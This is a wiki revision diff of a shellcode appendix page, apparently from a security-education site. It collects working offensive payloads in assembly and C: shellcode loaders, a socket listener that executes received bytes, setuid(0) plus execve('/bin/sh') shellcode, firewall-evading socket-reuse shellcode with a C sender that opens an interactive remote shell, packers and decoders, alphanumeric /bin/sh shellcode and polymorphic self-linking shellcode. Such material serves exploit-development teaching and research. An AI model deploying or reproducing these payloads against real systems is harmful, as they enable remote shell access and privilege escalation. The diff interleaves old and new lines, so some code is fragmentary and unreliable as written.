Difference between revisions of "Shellcode/Appendix"
(→./socket-reuse/socket-reuse.as) |
(→Generators) |
||
(62 intermediate revisions by 3 users not shown) | |||
Line 1: | Line 1: | ||
− | {{ | + | {{social}} |
− | |||
− | = | + | <font size="-2">Special thanks to [[User:Hatter|hatter]] and [[User:JtRIPper|jtripper]] for their contributions to this article.</font> |
− | + | ||
− | + | ||
− | + | = [[Shellcode/Loaders|Loaders]] = | |
+ | '''Documentation''': [[Shellcode/Loaders|shellcode loaders]] | ||
− | + | '''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]] | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | == | + | == loader-64.s == |
− | + | '''Description''': 64-bit ''mmap-based'' executable shellcode loader (returns to shellcode) | |
− | + | ||
− | + | ||
− | + | {{code|text=<source lang="asm"># 79 bytes | |
− | + | ||
− | {{code|text=<source lang=" | + | |
− | + | ||
− | + | .section .data | |
+ | .section .text | ||
+ | .globl _start | ||
+ | |||
+ | _start: | ||
+ | pop %rbx # argc | ||
+ | pop %rbx # arg0 | ||
+ | pop %rbx # arg1 pointer | ||
− | + | push $0x9 | |
+ | pop %rax | ||
+ | |||
+ | xor %rdi, %rdi | ||
+ | push %rdi | ||
+ | pop %rsi | ||
+ | inc %rsi | ||
+ | shl $0x12, %rsi | ||
+ | push $0x7 | ||
+ | pop %rdx | ||
+ | push $0x22 | ||
+ | pop %r10 | ||
+ | |||
+ | push %rdi | ||
+ | push %rdi | ||
+ | pop %r8 | ||
+ | pop %r9 | ||
+ | |||
+ | syscall # The syscall for the mmap(). | ||
+ | inject: | ||
+ | xor %rsi, %rsi | ||
+ | push %rsi | ||
+ | pop %rdi | ||
+ | |||
+ | inject_loop: | ||
+ | cmpb %dil, (%rbx, %rsi, 1) | ||
+ | je inject_finished | ||
+ | movb (%rbx, %rsi, 1), %r10b | ||
+ | movb %r10b, (%rax,%rsi,1) | ||
+ | inc %rsi | ||
+ | jmp inject_loop | ||
+ | |||
+ | ret_to_shellcode: | ||
+ | push %rax | ||
+ | ret | ||
+ | |||
+ | inject_finished: | ||
+ | inc %rsi | ||
+ | movb $0xc3, (%rax, %rsi, 1) | ||
+ | call ret_to_shellcode | ||
+ | exit: | ||
+ | push $60 | ||
+ | pop %rax | ||
+ | xor %rdi, %rdi | ||
+ | syscall | ||
+ | </source>}} | ||
+ | == loader-32.s == | ||
+ | '''Description''': 32-bit ''mmap-based'' executable shellcode loader (returns to shellcode) | ||
+ | {{code|text=<source lang="asm"> | ||
+ | # 66 bytes | ||
+ | .section .data | ||
+ | .section .text | ||
+ | .global _start | ||
+ | _start: | ||
+ | pop %edi | ||
+ | pop %edi | ||
+ | pop %edi #get arg1 pointer (shellcode) | ||
+ | push $90 | ||
+ | pop %eax #mmap() syscall number | ||
+ | xor %ebx, %ebx | ||
+ | push %ebx | ||
+ | push %ebx #args 5/6 (null) | ||
− | + | push $0x22 #arg 4 | |
− | + | push $0x7 #arg 5 | |
+ | |||
+ | push %ebx | ||
+ | pop %ecx | ||
+ | inc %ecx | ||
+ | shl $0x12, %ecx | ||
+ | push %ecx #arg2 (0x1000) | ||
− | + | push %ebx #arg1 (null) | |
− | # | + | |
− | + | ||
− | + | mov %esp, %ebx #move pointer to args to ebx for mmap() | |
− | for | + | int $0x80 |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | inject: | |
− | + | xor %esi, %esi | |
+ | push %esi | ||
+ | pop %edx #zero out esi and edx | ||
− | + | inject_loop: | |
− | + | cmpb %dl, (%edi, %esi, 1) | |
− | + | je inject_finished | |
+ | movb (%edi, %esi, 1), %cl | ||
+ | movb %cl, (%eax, %esi, 1) | ||
+ | inc %esi | ||
+ | jmp inject_loop #places shellcode into mmap() memory | ||
− | + | ret_to_shellcode: | |
− | + | push %eax #pushes mmap memory address and returns to it | |
− | # | + | ret |
− | + | ||
− | + | inject_finished: | |
− | + | inc %esi | |
− | + | movb $0xc3, (%eax, %esi, 1) #adds ret to the code code so that loader can exit | |
− | + | call ret_to_shellcode | |
− | + | ||
− | + | ||
− | + | exit: | |
− | + | xor %eax, %eax | |
− | + | mov %eax, %ebx | |
− | + | inc %eax | |
− | + | int $0x80 #exit | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
</source>}} | </source>}} | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | == dynamic-loader.c == | |
− | + | ||
− | + | ||
− | + | '''Description''': Dynamically linked ''mmap-based'' executable shellcode loader (contains GOT) | |
− | + | {{code|text=<source lang="c">#include <stdio.h> | |
+ | #include <sys/mman.h> | ||
+ | #include <string.h> | ||
− | + | int main(int argc, char *argv[]) | |
− | + | { | |
− | + | int (*fp)(); | |
− | + | void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); | |
− | + | memcpy(mem, argv[1], strlen(argv[1])); | |
− | + | fp = (int(*)())mem; | |
− | + | (int)(*fp)(); | |
− | + | } | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
</source>}} | </source>}} | ||
− | == | + | == socket-loader.c == |
− | {{code|text=<source lang=" | + | '''Description''': Dynamically linked ''mmap and socket based'' executable shellcode loader (contains GOT) |
− | . | + | {{code|text=<source lang="c"> |
− | . | + | #include <stdio.h> |
− | + | #include <stdlib.h> | |
− | + | #include <string.h> | |
+ | #include <sys/mman.h> | ||
+ | #include <unistd.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <sys/socket.h> | ||
+ | #include <netinet/in.h> | ||
+ | |||
+ | void error(const char *msg) { | ||
+ | perror(msg); | ||
+ | exit(1); | ||
+ | } | ||
+ | |||
+ | void execute(char *buffer) { | ||
+ | void (*mem)() = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); | ||
+ | memcpy(mem, buffer, strlen(buffer)); | ||
+ | (*mem)(); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char *argv[]) { | ||
+ | char buffer[1024]; | ||
+ | int serverfd, clientfd; | ||
+ | socklen_t client_len; | ||
+ | struct sockaddr_in server_addr, client_addr; | ||
+ | client_len = sizeof(client_addr); | ||
− | + | if (argc != 2) { | |
− | + | printf("Usage: %s <port>\n", argv[0]); | |
− | + | exit(1); | |
+ | } | ||
− | + | server_addr.sin_family = AF_INET; | |
− | + | server_addr.sin_addr.s_addr = INADDR_ANY; | |
− | + | server_addr.sin_port = htons(atoi(argv[1])); | |
− | + | ||
− | + | if((serverfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) | |
− | + | error(" [!] opening socket"); | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | if (bind(serverfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) | |
− | + | error(" [!] bind()"); | |
− | + | ||
− | + | if (listen(serverfd, 0) < 0) | |
− | + | error(" [!] listen()"); | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | if ((clientfd = accept(serverfd, (struct sockaddr *)&client_addr, &client_len)) < 0) | |
− | + | error(" [!] accept()"); | |
− | + | ||
− | + | printf(" [*] Received %d bytes, executing.\n", read(clientfd,buffer,1024)); | |
− | + | execute(buffer); | |
− | + | ||
− | + | printf(" [*] Closing sockets.\n"); | |
− | + | close(clientfd); | |
− | + | close(serverfd); | |
+ | return 0; | ||
+ | } | ||
</source>}} | </source>}} | ||
− | = | + | = [[Shellcode/Null-free|Null-free]] = |
− | + | ||
− | + | ||
− | + | ||
− | + | '''Documentation''': [[Shellcode/Null-free|null-free shellcode]] | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | == write-file-32.s == | |
− | + | '''Description''': Null-free file writing shellcode | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | shellcode | + | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | |||
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
# 90 bytes | # 90 bytes | ||
Line 329: | Line 273: | ||
pop %ebx #and put it in ebx | pop %ebx #and put it in ebx | ||
int $0x80 #and exit | int $0x80 #and exit | ||
− | == . | + | </source>}} |
− | # | + | == setuid_binsh.s == |
+ | '''Description''': null-free setuid(0); execve('/bin/sh') shellcode | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 32 bytes | ||
.text | .text | ||
.globl _start | .globl _start | ||
_start: | _start: | ||
− | xor %rdi, %rdi | + | xor %rdi,%rdi |
− | push $ | + | pushq $0x69 |
− | pop %rax | + | pop %rax |
− | + | syscall | |
+ | |||
+ | push %rdi | ||
+ | push %rdi | ||
+ | pop %rsi | ||
+ | pop %rdx | ||
+ | pushq $0x68 | ||
+ | movabs $0x7361622f6e69622f,%rax | ||
+ | push %rax | ||
+ | push %rsp | ||
+ | pop %rdi | ||
+ | pushq $0x3b | ||
+ | pop %rax | ||
+ | syscall | ||
+ | </source>}} | ||
+ | |||
+ | = [[Shellcode/Environment|Environment]] = | ||
+ | |||
+ | '''Documentation''': [[Shellcode/Environment|environment]] | ||
+ | |||
+ | == getpc-64.s == | ||
+ | '''Description''': 64-bit getpc | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 12 - bytes | ||
+ | |||
+ | jmp startup | ||
+ | getpc: | ||
+ | mov (%rsp), %rax | ||
+ | ret | ||
+ | startup: | ||
+ | call getpc # the %rax register now contains %rip on the next line | ||
+ | </source>}} | ||
+ | |||
+ | == getpc-64-alt.s == | ||
+ | '''Description''': Alternative 64-bit getpc method | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 10 bytes | ||
+ | |||
+ | jmp startup | ||
+ | pc: | ||
+ | nop | ||
+ | startup: | ||
+ | lea -1(%rip), %rax # the %rax register now contains the address of `pc'. | ||
+ | </source>}} | ||
+ | |||
+ | == getpc-32.s == | ||
+ | '''Description''': 32-bit getpc | ||
+ | |||
+ | {{code|text=<source lang="asm"># 11 bytes | ||
+ | jmp startup | ||
+ | getpc: | ||
+ | mov (%esp), %eax | ||
+ | ret | ||
+ | startup: | ||
+ | call getpc # the %eax register now contains %eip on the next line | ||
+ | </source>}} | ||
+ | |||
+ | == int3-detect-64.s == | ||
+ | '''Description''': Breakpoint detection shellcode | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 24 bytes | ||
+ | |||
+ | .text | ||
+ | .global _start | ||
+ | _start: | ||
+ | jmp startup | ||
+ | go_retro: | ||
+ | pop %rcx | ||
+ | inc %rcx | ||
+ | jmp *%rcx | ||
+ | |||
+ | startup: | ||
+ | call go_retro | ||
+ | |||
+ | volatile_segment: | ||
+ | push $0x3458686a | ||
+ | push $0x0975c084 | ||
+ | nop | ||
+ | </source>}} | ||
+ | |||
+ | == lastcall-32.s == | ||
+ | '''Description''': 32-bit last call example | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 4 bytes | ||
+ | |||
+ | mov -0x4(%esp), %eax | ||
+ | </source>}} | ||
+ | |||
+ | == lastcall-64.s == | ||
+ | '''Description''': 64-bit last call example | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 5 bytes | ||
+ | |||
+ | mov -0x8(%rsp), %rax | ||
+ | </source>}} | ||
+ | |||
+ | == lastcall-alphanum.s == | ||
+ | '''Description''': Alphanumeric last call example | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 13 bytes | ||
+ | |||
+ | .text | ||
+ | .global _start | ||
+ | _start: | ||
+ | pop %rax | ||
+ | push %rsp # move pointer to %rsp into %rax | ||
+ | pop %rax | ||
+ | xor $0x65,%al # subtract 0x10 from %rax | ||
+ | xor $0x75,%al | ||
+ | xor %rsi,(%rax) | ||
+ | xor (%rax),%rsi # move address to last instruction into %rax | ||
+ | </source>}} | ||
+ | |||
+ | = [[Shellcode/Socket-reuse|Socket-reuse]] = | ||
+ | |||
+ | '''Documentation''': [[Shellcode/Socket-reuse|socket reuse documentation]] | ||
+ | |||
+ | == socket-reuse.s == | ||
+ | '''Description''': socket reusing shellcode to bypass firewalls | ||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 117 bytes | ||
+ | .section .data | ||
+ | .section .text | ||
+ | .globl _start | ||
+ | _start: | ||
+ | jmp start | ||
+ | |||
+ | exit: | ||
+ | push $0x3c | ||
+ | pop %rax | ||
+ | syscall | ||
+ | |||
+ | start: | ||
+ | push $0x02 | ||
+ | pop %rdi | ||
+ | |||
+ | make_fd_struct: | ||
+ | lea -0x14(%rsp), %rdx | ||
+ | movb $0x10, (%rdx) | ||
+ | lea 0x4(%rdx), %rsi # move struct into rsi | ||
+ | |||
+ | loop: | ||
+ | inc %edi | ||
+ | test %di, %di # loop until 65535 then exit | ||
+ | je exit | ||
+ | |||
+ | stack_fix: | ||
+ | lea 0x14(%rdx), %rsp | ||
+ | |||
+ | get_peer_name: | ||
+ | sub $0x20, %rsp | ||
+ | push $0x34 | ||
+ | pop %rax | ||
+ | syscall | ||
+ | |||
+ | check_pn_success: | ||
+ | test %al, %al | ||
+ | jne loop | ||
+ | |||
+ | # If we make it here, rbx and rax are 0 | ||
+ | check_ip: | ||
+ | push $0x1b | ||
+ | pop %rcx | ||
+ | mov $0xfeffff80, %ebx | ||
+ | not %ebx | ||
+ | cmpl %ebx, (%rsp,%rcx,4) | ||
+ | jne loop | ||
+ | |||
+ | check_port: | ||
+ | movb $0x35, %cl | ||
+ | mov $0x2dfb, %bx | ||
+ | not %bx | ||
+ | cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2) | ||
+ | jne loop | ||
+ | |||
+ | reuse: | ||
+ | push %rax | ||
+ | pop %rsi | ||
+ | |||
+ | dup_loop: # redirect stdin, stdout, stderr to socket | ||
+ | push $0x21 | ||
+ | pop %rax | ||
+ | syscall | ||
+ | inc %esi | ||
+ | cmp $0x4, %esi | ||
+ | jne dup_loop | ||
+ | |||
+ | execve: | ||
+ | pop %rdi | ||
push %rdi | push %rdi | ||
push %rdi | push %rdi | ||
Line 353: | Line 496: | ||
syscall # execve('/bin/sh',null,null); | syscall # execve('/bin/sh',null,null); | ||
</source>}} | </source>}} | ||
− | = | + | |
− | == ./self-modifying/packer. | + | == socket-reuse-send.c == |
+ | '''Description''': sends socket reuse shellcode | ||
+ | |||
+ | {{code|text=<source lang="C"> | ||
+ | #include <sys/socket.h> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <unistd.h> | ||
+ | #include <string.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <netinet/in.h> | ||
+ | #include <netdb.h> | ||
+ | |||
+ | // source: 127.0.0.1:1234 | ||
+ | char shellcode[] = { | ||
+ | "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" | ||
+ | "\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62" | ||
+ | "\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b" | ||
+ | "\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66" | ||
+ | "\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21" | ||
+ | "\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48" | ||
+ | "\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f" | ||
+ | "\x6a\x3b\x58\x0f\x05" | ||
+ | }; | ||
+ | |||
+ | void error(char *err) { | ||
+ | perror(err); | ||
+ | exit(0); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char *argv[]) { | ||
+ | struct sockaddr_in server_addr, bind_addr; | ||
+ | struct hostent* server, *_bind; | ||
+ | char buf[1024], inbuf[1024]; | ||
+ | int sock; | ||
+ | |||
+ | _bind = gethostbyname(argv[3]); | ||
+ | bind_addr.sin_family = AF_INET; | ||
+ | bind_addr.sin_port = htons(atoi(argv[4])); | ||
+ | memcpy(&bind_addr.sin_addr.s_addr, _bind->h_addr, _bind->h_length); | ||
+ | |||
+ | server = gethostbyname(argv[1]); | ||
+ | server_addr.sin_family = AF_INET; | ||
+ | memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length); | ||
+ | server_addr.sin_port = htons(atoi(argv[2])); | ||
+ | |||
+ | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) | ||
+ | error(" [!] socket()"); | ||
+ | |||
+ | if (bind(sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) | ||
+ | error(" [!] bind()"); | ||
+ | |||
+ | printf(" [*] Connecting to %s\n", argv[1]); | ||
+ | if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) | ||
+ | error(" [*] connect()"); | ||
+ | |||
+ | printf(" [*] Sending payload\n"); | ||
+ | if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0) | ||
+ | error(" [!] write()"); | ||
+ | |||
+ | while(fgets(buf, 1024, stdin) != NULL) { | ||
+ | if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0) | ||
+ | error(" [!] write(): "); | ||
+ | if (recv(sock, inbuf, 1024, 0) < 0) | ||
+ | error(" [!] read(): "); | ||
+ | printf("%s", inbuf); | ||
+ | memset(inbuf, 0, 1024); | ||
+ | memset(buf, 0, 1024); | ||
+ | } | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </source> | ||
+ | }} | ||
+ | |||
+ | = [[Shellcode/Self-modifying|Self-modifying]] = | ||
+ | |||
+ | '''Documentation''': [[Shellcode/Self-modifying|self-modifying code]] | ||
+ | |||
+ | '''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]], [[Shellcode/Loaders|shellcode loading documentation]], [[#Loaders|shellcode loaders]] | ||
+ | |||
+ | == packer.s == | ||
+ | '''Description''': Shellcode packer | ||
+ | |||
{{code|text=<source lang="asm"># 55 bytes | {{code|text=<source lang="asm"># 55 bytes | ||
.section .data | .section .data | ||
Line 391: | Line 617: | ||
</source>}} | </source>}} | ||
− | == | + | == decoder-no-mmap.s == |
+ | '''Description''': Unpacker without ''mmap'' | ||
+ | |||
{{code|text=<source lang="asm"># 69 bytes | {{code|text=<source lang="asm"># 69 bytes | ||
jmp start | jmp start | ||
Line 435: | Line 663: | ||
syscall | syscall | ||
</source>}} | </source>}} | ||
− | == | + | == decoder.s == |
+ | '''Description''': Shellcode unpacker using ''mmap'' | ||
+ | |||
{{code|text=<source lang="asm"># 102 bytes | {{code|text=<source lang="asm"># 102 bytes | ||
jmp start | jmp start | ||
Line 501: | Line 731: | ||
</source>}} | </source>}} | ||
− | == | + | == packer-32.s == |
+ | '''Description''': 32-bit shellcode packer | ||
+ | |||
{{code|text=<source lang="asm"> | {{code|text=<source lang="asm"> | ||
# 37 bytes | # 37 bytes | ||
Line 540: | Line 772: | ||
int $0x80 #exits | int $0x80 #exits | ||
</source>}} | </source>}} | ||
− | == | + | == decoder-32.s == |
+ | '''Description''': 32-bit shellcode decoder | ||
+ | |||
{{code|text=<source lang="asm"># 89 bytes | {{code|text=<source lang="asm"># 89 bytes | ||
.section .data | .section .data | ||
Line 618: | Line 852: | ||
int $0x80 | int $0x80 | ||
</source>}} | </source>}} | ||
− | = | + | |
− | == ./dynamic/poly-linker-fd-reuse.s == | + | = [[Shellcode/Alphanumeric|Alphanumeric]] = |
+ | |||
+ | '''Documentation''': [[Shellcode/Alphanumeric|alphanumeric shellcode]] | ||
+ | |||
+ | '''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]] | ||
+ | |||
+ | == architecture_detection == | ||
+ | '''Description''': Alphanumeric architecture detection shellcode | ||
+ | |||
+ | TX4HPZTAZAYVH92 | ||
+ | |||
+ | == binsh.s == | ||
+ | '''Description''': Alphanumeric /bin/sh shellcode | ||
+ | |||
+ | {{code|text=<center>''Assembled x64'' <br />'''XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00'''</center>}} | ||
+ | {{code|text=<source lang="asm"># 104 bytes | ||
+ | .text | ||
+ | .global _start | ||
+ | _start: | ||
+ | pop %rax | ||
+ | push %rsp | ||
+ | pop %rax | ||
+ | xor $0x65,%al | ||
+ | xor $0x75,%al | ||
+ | xor %rsi, (%rax) # mov emulated into rsi | ||
+ | xor (%rax), %rsi | ||
+ | push %rsi | ||
+ | pop %rcx | ||
+ | pushq $0x3030474a | ||
+ | pop %rax | ||
+ | xor %eax,0x64(%rcx) | ||
+ | push %rsp | ||
+ | pop %rcx | ||
+ | pop %rax | ||
+ | movslq 0x30(%rcx),%rsi | ||
+ | xor %esi,0x30(%rcx) | ||
+ | movslq 0x34(%rcx),%rsi | ||
+ | xor %esi,0x34(%rcx) | ||
+ | movslq 0x30(%rcx),%rdi | ||
+ | movslq 0x30(%rcx),%rsi | ||
+ | push %rdi | ||
+ | pop %rdx | ||
+ | pushq $0x5a58555a | ||
+ | pop %rax | ||
+ | xor $0x34313775,%eax | ||
+ | xor %eax,0x30(%rcx) | ||
+ | pushq $0x6a51475a | ||
+ | pop %rax | ||
+ | xor $0x6a393475,%eax | ||
+ | xor %eax,0x34(%rcx) | ||
+ | xor 0x30(%rcx),%rdi | ||
+ | pop %rax | ||
+ | push %rdi | ||
+ | pushq $0x58 | ||
+ | movslq (%rcx),%rdi | ||
+ | xor (%rcx),%rdi | ||
+ | pop %rax | ||
+ | push %rsp | ||
+ | xor (%rcx),%rdi | ||
+ | xor $0x63,%al | ||
+ | rex.RB | ||
+ | rex.X xor %sil,(%rax)</source>}} | ||
+ | |||
+ | = [[Shellcode/Parsing|Parsing]] = | ||
+ | '''Documentation''': [[Shellcode/Parsing|ELF parsing shellcode]] | ||
+ | |||
+ | == elf64-parser.s == | ||
+ | '''Description''': ELF64 symbol parser | ||
+ | |||
+ | {{code|text=<source lang="asm"># 188 bytes | ||
+ | .section .data | ||
+ | .section .text | ||
+ | |||
+ | .globl _start | ||
+ | |||
+ | _start: | ||
+ | jmp startup | ||
+ | |||
+ | strlen: | ||
+ | xor %rdx, %rdx | ||
+ | |||
+ | next_byte: | ||
+ | inc %rdx | ||
+ | cmpb $0x00, (%rsi,%rdx,1); | ||
+ | jne next_byte | ||
+ | ret | ||
+ | |||
+ | getpc: | ||
+ | mov (%rsp), %rax | ||
+ | ret | ||
+ | |||
+ | startup: | ||
+ | xor %r15, %r15 | ||
+ | push $0x0a0a0a | ||
+ | mov %rsp, %r15 | ||
+ | call getpc | ||
+ | dec %rax | ||
+ | xor %rcx, %rcx | ||
+ | push $0x2 | ||
+ | pop %rsi | ||
+ | |||
+ | find_header: | ||
+ | cmpl $0x464c457f, (%rax,%rcx,4) # Did we find our ELF base pointer? | ||
+ | je find_sections | ||
+ | dec %rax | ||
+ | jmp find_header | ||
+ | |||
+ | find_sections: | ||
+ | # %rax now = base pointer of ELF image. | ||
+ | xor %rbx, %rbx | ||
+ | add $0x28, %bl | ||
+ | xorl (%rax,%rbx,1), %ecx # %rcx = offset to section headers | ||
+ | addq %rax, %rcx # %rcx = absolute address to section headers | ||
+ | |||
+ | # each section header is 0x40 bytes in length. | ||
+ | next_section: | ||
+ | xor %rbx, %rbx | ||
+ | xor %rbp, %rbp | ||
+ | add $0x40, %rcx | ||
+ | # %rcx now = address to first entry | ||
+ | add $0x04, %bl | ||
+ | xor (%rcx,%rbx,1), %ebp # %rbp now contains type | ||
+ | cmp $0x02, %bpl | ||
+ | jne next_section | ||
+ | |||
+ | found_symbols: | ||
+ | xor %r8, %r8 | ||
+ | mov %rcx, %r8 # %rcx = pointer to top of symbol section header | ||
+ | add $0x40, %r8 # %r8 = pointer to top of string table section header | ||
+ | |||
+ | xor %rbx, %rbx | ||
+ | xor $0x18, %bl # pointer to actual section is $0x18 bytes from header base | ||
+ | |||
+ | xor %r9, %r9 | ||
+ | xor %r10, %r10 | ||
+ | xor (%rcx,%rbx,1), %r9 | ||
+ | xor (%r8,%rbx,1), %r10 | ||
+ | addq %rax, %r9 # r9 should now point to the first symbol | ||
+ | addq %rax, %r10 # r10 should now point to the first string | ||
+ | addq $0x18, %r9 | ||
+ | |||
+ | next_symbol: | ||
+ | addq $0x18,%r9 | ||
+ | xor %rcx, %rcx | ||
+ | xor %rbp, %rbp | ||
+ | xor %rdi, %rdi | ||
+ | xor (%r9,%rcx,1), %ebp # %rbp now contains string offset. | ||
+ | cmp %rbp, %rdi | ||
+ | je next_symbol | ||
+ | |||
+ | print_symbol_name: | ||
+ | mov %rbp, %rsi | ||
+ | addq %r10, %rsi # %rsi should now be a pointer to a string | ||
+ | push $0x01 | ||
+ | pop %rax | ||
+ | push %rax | ||
+ | pop %rdi | ||
+ | call strlen | ||
+ | syscall | ||
+ | |||
+ | push $0x01 | ||
+ | pop %rax | ||
+ | push %rax | ||
+ | pop %rdi | ||
+ | push $0x02 | ||
+ | pop %rdx | ||
+ | push %r15 | ||
+ | pop %rsi | ||
+ | syscall | ||
+ | jmp next_symbol | ||
+ | </source>}} | ||
+ | |||
+ | = [[Shellcode/Dynamic|Dynamic]] = | ||
+ | |||
+ | '''Documentation''': [[Shellcode/Dynamic|dynamic shellcode]] | ||
+ | |||
+ | '''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]], [[Shellcode/Self-modifying|self-modifying documentation]], [[#Self-modifying|self-modifying shellcode]] | ||
+ | |||
+ | == poly-linker-fd-reuse.s == | ||
+ | '''Description''': Polymorphic self-linking file descriptor reuse shellcode | ||
+ | |||
{{code|text=<source lang="asm"># 268 bytes | {{code|text=<source lang="asm"># 268 bytes | ||
Line 643: | Line 1,057: | ||
jne find_base | jne find_base | ||
− | jmp | + | jmp startup |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
__initialize_world: | __initialize_world: | ||
− | + | pop %rcx | |
− | + | jmp _world | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | pop | + | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | jmp | + | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
# at this point, the base pointer of libc is in %rbx | # at this point, the base pointer of libc is in %rbx | ||
startup: | startup: | ||
call __initialize_world | call __initialize_world | ||
− | + | ||
− | + | ||
################ | ################ | ||
# | # | ||
− | # Takes a function hash in % | + | # Takes a function hash in %rbp and base pointer in %rbx |
+ | # >Parses the dynamic section headers of the ELF64 image | ||
+ | # >Uses ROP to invoke the function on the way back to the | ||
+ | # -normal return location | ||
# | # | ||
− | # | + | # Returns results of function to invoke. |
# | # | ||
− | + | invoke_function: | |
+ | push %rbp | ||
+ | push %rbp | ||
push %rdx | push %rdx | ||
xor %rdx, %rdx | xor %rdx, %rdx | ||
Line 754: | Line 1,086: | ||
push %rbx | push %rbx | ||
push %rsi | push %rsi | ||
+ | push %rbp | ||
pop %rdi | pop %rdi | ||
Line 759: | Line 1,092: | ||
push %rbx | push %rbx | ||
pop %rbp | pop %rbp | ||
− | + | ||
push $0x4c | push $0x4c | ||
pop %rax | pop %rax | ||
